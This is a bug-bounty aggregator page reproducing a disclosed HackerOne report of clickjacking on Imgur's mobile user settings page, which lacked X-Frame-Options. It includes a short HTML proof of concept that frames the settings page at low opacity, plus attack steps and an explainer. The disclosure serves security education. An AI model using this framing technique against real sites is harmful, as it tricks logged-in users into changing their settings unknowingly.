Skip to content
UI spoofing Disclosed report Beginner

Attack User Privacy Settings - X-Frame-Options missing on m.imgur.com/user/username/settings

The mobile Imgur site, including the user settings page, could be framed by an attacker, so a fake button could trick a logged-in user into changing privacy settings with a couple of clicks.

kasser Follow

Originally disclosed on HackerOne

  • Triaged in 5 days
  • Fixed in 22 days
  • Disclosed after 5 months

Hello, I would like to report that almost entire mobile web site is vulnerable to clickjacking attacks, Maybe the most important critical part the /settings node, As an attacker could force a user to change his privacy settings with only two clicks, please see live video demonstration, of course this is vulnerable under mobile browsers, Also attached PoC could be tested under desktop browser by changing User-Agent header to a mobile browser (ex: UCBrowser) using User-Agent-Switcher firefox/chrome addon

PoC: Please change username with your actual username, to successfully test this PoC

<html>
<head>
<title>Clickjack test page</title>
        <style>
iframe {
    width: 900px;
    height: 800px;
    /* Use absolute positioning to line up update button with fake button */
    position: absolute;
    top: 100px;
    left: 100px;
    z-index: 2;
    /* Hide from view */
    -moz-opacity: 0.2;
    opacity: 0.2;
    filter: alpha(opacity=0.2);
}
button {
    position: absolute;
    top: 330px;
    left: 100px;
    z-index: 1;
    width: 65px;
}
        </style>
</head
<body>
<p>website is VULNERABLE to click jacking!</p>
<iframe src="http://m.imgur.com/user/username/settings" height="700" width="1000"></iframe>
</body>
</html>

The original report as published on HackerOne, by kasser. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could make a logged-in user change privacy settings with a few clicks; the report says this affects mobile browsers, and the desktop case only works when the User-Agent is spoofed to a mobile one.

What the attacker needed

Victim is logged in; victim visits attacker page; mobile browser or spoofed User-Agent

How it was found

  1. Open the settings page of the mobile site in a browser.
  2. Build a page that embeds that settings page in a partly transparent iframe.
  3. Position a fake button over the real control in the frame.
  4. Load the page while logged in and click the fake button to trigger the real action.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Clickjacking is when a malicious page loads a real site in a see-through frame and places fake buttons on top. The victim thinks they click the attacker's button, but the click lands on the real site, which is already logged in. Because the site could be framed, this trick worked.

What is UI spoofing?

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.

More from Imgur

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Clickjacking and UI spoofing

The lesson behind this report.

The interface lies to the user: a framed page catches their clicks, or a browser shows the wrong address or a fake prompt. Paid when it leads to a sensitive action or convincing phishing.